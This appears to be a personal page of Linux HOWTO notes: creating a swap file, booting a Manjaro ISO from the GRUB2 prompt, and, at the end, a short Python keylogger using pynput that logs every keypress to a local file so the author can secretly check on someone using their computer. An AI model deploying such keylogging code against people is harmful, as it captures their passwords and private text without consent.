HOWTOs

Instructions for performing tasks that I do often enough to need to know but infrequently enough to never remember the details.

These commands should all be performed with root permissions. The instructions below assume a destination path of /swapfile and file size of 1 GiB.

First, allocate space:

fallocate -l 1G /swapfile
# alternatively
dd if=/dev/zero of=/swapfile bs=1024 count=1048576

Ensure only root can read the swap file's contents:

chmod 600 /swapfile

Finally, activate and enable the swap file:

mkswap /swapfile
swapon /swapfile

To have the swap automount on boot, add the following to /etc/fstab:

/swapfile swap swap defaults 0 0

Adapted from https://forum.manjaro.org/t/howto-boot-manjaro-iso-directly-with-grub/15892. Run the following commands from the GRUB2 prompt.

set isofile="/path/to/isofile.iso"
set dri="free"
set lang="en_US"
set keytable="us"
set timezone="America/Los_Angeles"
search --no-floppy -f --set=root $isofile
probe -u $root --set=abc
set pqr="/dev/disk/by-uuid/$abc"
loopback loop $isofile
linux (loop)/boot/vmlinuz-x86_64 img_dev=$pqr img_loop=$isofile driver=$dri tz=$timezone lang=$lang keytable=$keytable copytoram
initrd (loop)/boot/intel_ucode.img (loop)/boot/initramfs-x86_64.img

Adjust intel_ucode.img to amd_ucode.img for AMD CPUs.

Note that the GreatFET has Facedancer capabilities, so it should be possible to use it to emulate a mass storage device with the ISO as the source and boot that instead.

Let's say you need to hand your computer over to someone you don't fully trust and want to check on their usage afterward. Requires the pynput package.

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))
    
with Listener(on_press=on_press) as listener:
    listener.join()